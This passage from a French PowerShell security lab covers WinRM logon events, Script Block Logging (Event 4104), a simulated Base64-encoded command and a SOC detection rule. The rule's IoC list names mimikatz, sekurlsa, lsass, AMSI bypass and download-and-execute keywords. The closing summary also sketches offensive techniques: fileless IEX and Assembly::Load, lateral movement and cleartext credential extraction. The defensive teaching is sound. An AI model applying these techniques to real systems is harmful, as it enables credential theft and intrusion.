Write-Host"Utilisateur : $(whoami)"Write-Host"Machine : $env:COMPUTERNAME"Write-Host"`n=== Processus hôte ==="-ForegroundColor Cyan
Get-Process-Id$PID | Select-Object Name, Id, SessionId
# → Doit afficher wsmprovhost.exe - le host de session WinRM
}
# Fermeture propreRemove-PSSession-Session$session
Analyse des Event IDs générés par WinRMPOWERSHELL
# Chercher la connexion WinRM dans les logs SecurityGet-WinEvent-FilterHashtable@{
LogName = 'Security'
Id = 4624 # Logon réussi - Type 3 = réseau
StartTime = (Get-Date).AddMinutes(-5)
} | Where-Object {$_.Message -match"restricteduser"} |
Select-Object TimeCreated, Message | Format-List# Dans Sysmon (si configuré) : chercher wsmprovhost.exeGet-WinEvent-FilterHashtable@{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 1 # Création de processus
StartTime = (Get-Date).AddMinutes(-5)
} | Where-Object {$_.Message -match"wsmprovhost"} |
Select-Object TimeCreated, Message | Format-List
TP 3
Script Block Logging & Capture Event ID 4104
TP 02-CActiver le SBL, simuler une commande suspecte, implémenter une règle de détectionAVANCÉ
Objectifs
Activer le Script Block Logging via le registre
Simuler une commande encodée en Base64 (technique attaquant)
Observer l'Event 4104 généré - comprendre sa structure XML
Implémenter une règle de détection SOC basée sur des IoC PowerShell
# ── ÉTAPE 1 : Activer le Script Block Logging ─────────────────────$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"if (-not (Test-Path$path)) { New-Item-Path$path-Force | Out-Null }
Set-ItemProperty-Path$path-Name"EnableScriptBlockLogging"-Value 1
Write-Host"Script Block Logging activé"-ForegroundColor Green
# ── ÉTAPE 2 : Simuler une commande encodée en Base64 ──────────────# Ce que fait un attaquant pour masquer ses commandes$commande = "Get-LocalUser | Select-Object Name, SID"$bytes = [System.Text.Encoding]::Unicode.GetBytes($commande)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host"Commande encodée : $encoded"# Exécution avec -EncodedCommand (technique standard d'obfuscation)
powershell.exe -EncodedCommand$encoded# ── ÉTAPE 3 : Capturer l'Event 4104 généré ────────────────────────Start-Sleep-Seconds 2 # Laisser le temps à l'event de s'écrire$events = Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational" |
Where-Object {$_.Id -eq 4104} |
Select-Object-First 5
foreach ($evtin$events) {
Write-Host"`n[Event 4104 - $($evt.TimeCreated)]"-ForegroundColor Yellow
$xml = [xml]$evt.ToXml()
$scriptBlock = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq"ScriptBlockText"}).'#text'Write-Host"ScriptBlock déobfusqué : $scriptBlock"-ForegroundColor Cyan
# → La commande apparaît DÉCODÉE ici, même si encodée Base64 à l'exécution
}
Détection IOC dans les Event 4104 - règle SOCPOWERSHELL
Write-Host"`n=== CHASSE AUX COMMANDES SUSPECTES ==="-ForegroundColor Red
# Liste des IoC PowerShell à détecter$ioc = @("IEX", "Invoke-Expression", "DownloadString", "FromBase64String",
"VirtualAlloc", "CreateThread", "WriteProcessMemory",
"mimikatz", "sekurlsa", "EncodedCommand",
"bypass", "AMSI", "lsass", "dump",
"Assembly::Load", "Reflection")Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational" |
Where-Object {$_.Id -eq 4104} |
ForEach-Object {
$xml = [xml]$_.ToXml()
$text = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq"ScriptBlockText"}).'#text'$detected = $ioc | Where-Object { $text-match$_ }
if ($detected) {
[PSCustomObject]@{
Heure = $_.TimeCreated
EventID = $_.Id
IOC = $detected-join", "
Extrait = $text.Substring(0, [Math]::Min(120, $text.Length))
}
}
} | Format-Table-AutoSize
Désactiver le SBL après l'exercice (lab)POWERSHELL
# Désactiver le Script Block Logging après l'exercice (si lab uniquement)# En production, on ne désactive JAMAIS le SBL$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"Set-ItemProperty-Path$path-Name"EnableScriptBlockLogging"-Value 0
✓
Résumé - Points clés à retenir
Architecture
Fondamentaux
PowerShell = .NET → Win32 API → tout est possible sans binaire externe. Le pipeline transmet des objets typés (pas du texte) - c'est sa force et ce qui le rend plus puissant que bash pour Windows.
Pour l'Offensif
Techniques clés
IEX + Base64 + Assembly::Load() = techniques fileless. Invoke-Command = mouvement latéral natif. $cred.GetNetworkCredential().Password = extraction credentials depuis la mémoire.
Pour le Défensif
Priorités de détection
Activer 4104 (Script Block Logging) en priorité - c'est la source de détection la plus précieuse. Superviser dans le SIEM : IEX, EncodedCommand, DownloadString, FromBase64, VirtualAlloc, Assembly::Load. L'historique PSReadLine est une source forensics de premier ordre. WinRM laisse des 4624 (type 3) + création de wsmprovhost.exe via Sysmon EID 1.
Expliquer la différence fondamentale entre PowerShell et cmd.exe - objets vs texte
Utiliser Get-Member pour explorer un objet inconnu sans documentation
Construire un pipeline avec Where-Object, Select-Object, et propriétés calculées
Créer et invoquer un ScriptBlock - localement et via Invoke-Command
Créer un PSCredential sécurisé et l'utiliser pour une connexion WinRM
Extraire le mot de passe en clair depuis un PSCredential (GetNetworkCredential())
Déclarer une signature P/Invoke Win32 avec Add-Type et l'appeler
Activer le Script Block Logging et interroger les Event ID 4104
Décoder une commande PowerShell encodée en Base64
Écrire une règle de détection SOC basée sur les IoC PowerShell courants
Localiser et analyser l'historique PSReadLine pour la forensics post-incident